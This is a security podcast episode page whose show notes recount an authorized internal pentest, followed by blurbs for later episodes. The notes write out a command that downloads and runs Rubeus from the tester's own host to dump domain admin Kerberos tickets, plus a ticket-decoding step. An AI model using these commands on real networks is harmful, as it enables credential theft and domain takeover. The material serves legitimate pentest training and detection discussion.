7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Jaksot(682)

7MS #667: Pentesting GOAD SCCM - Part 2!

7MS #667: Pentesting GOAD SCCM - Part 2!

Hey friends, our good buddy Joe “The Machine” Skeen and I are back this week with part 2 (check out part 1!) tackling GOAD SCCM again!  Spoiler alert: this time we get DA!  YAY! Definitely check out these handy SCCM resources to help you – whether it be in the lab or IRL (in real life): GOAD SCCM walkthrough MisconfigurationManager – tremendous resource for enumerating/attacking/privesc-ing within SCCM This gist from Adam Chester will help you decrypt SCCM creds stored in SQL

21 Maalis 28min

7MS #666: Tales of Pentest Pwnage – Part 68

7MS #666: Tales of Pentest Pwnage – Part 68

Today we have a smattering of miscellaneous pentest tips to help you pwn all the stuff! Selective Snaffling with Snaffler The importance of having plenty of dropbox disk space – for redundant remote connectivity and PXE abuse! TGTs can be fun for SMB riffling, targeted Snaffling, netexec-ing and Evil-WinRMing!

14 Maalis 45min

7MS #665: What I'm Working on This Week - Part 2

7MS #665: What I'm Working on This Week - Part 2

Hello there friends, I’m doing another “what I’m working on this week” episode which includes: BPATTY v1.6 release – big/cool/new content to share here PWPUSH – this looks to be an awesome way (both paid and free) to securely share files and passwords

7 Maalis 28min

7MS #664: What I’m Working on This Week

7MS #664: What I’m Working on This Week

In today’s episode I talk about what I’m working on this week, including: Playing with Sliver C2 and pairing it with ShellcodePack Talking about Netexecer, my upcoming tool that helps automate some of the early/boring stuff in an internal pentest A gotcha to watch out for if utilizing netexec’s MSSQL upload/download functionality

28 Helmi 25min

7MS #663: Pentesting GOAD SCCM

7MS #663: Pentesting GOAD SCCM

Today we live-hack an SCCM server via GOAD SCCM using some attack guidance from Misconfiguration Manager!  Attacks include: Unauthenticated PXE attack PXE (with password) attack Relaying the machine account of the MECM box over to the SQL server to get local admin

21 Helmi 29min

7MS #662: Pentesting Potatoes - Part 2

7MS #662: Pentesting Potatoes - Part 2

Hi friends, today we're talking about pentesting potatoes (not really, but this episode is sort of a homage to episode 333 where I went to Boise to do a controls assessment and ended up doing an impromptu physical pentest and social engineer exercise).  I talk about what a blast I'm having hunting APTs in XINTRA LABS, and two cool tools I'm building with the help of Cursor: A wrapper for Netexec that quickly finds roastable users, machines without SMB signing, clients running Webclient and more. A sifter of Snaffler-captured files to zero in even closer on interesting things such as usernames and passwords in clear text.

14 Helmi 37min

7MS #661: Baby’s First Hetzner and Ludus – Part 2

7MS #661: Baby’s First Hetzner and Ludus – Part 2

Today we continue our journey from last week where we spun up a Hetzner cloud server and Ludus.cloud SCCM pentesting range!  Topics include: Building a Proxmox Backup Server (this YouTube video was super helpful) Bridging a second WAN IP to the Hetzner/Ludus server Wrestling with the Hetzner (10-rule limit!) software firewall When attacking SCCM – you can get a version of pxethief that runs in Linux!

8 Helmi 37min

7MS #660: Baby's First Hetzner and Ludus

7MS #660: Baby's First Hetzner and Ludus

I had an absolute ball this week spinning up my first Hetzner server, though it was not without some drama (firewall config frustrations and failing hard drives).  Once I got past that, though, I got my first taste of the amazing world of Ludus.cloud, where I spun up a vulnerable Microsoft SCCM lab and have started to pwn it.  Can’t say enough good things about Ludus.cloud, but I certainly tried in this episode!

1 Helmi 34min

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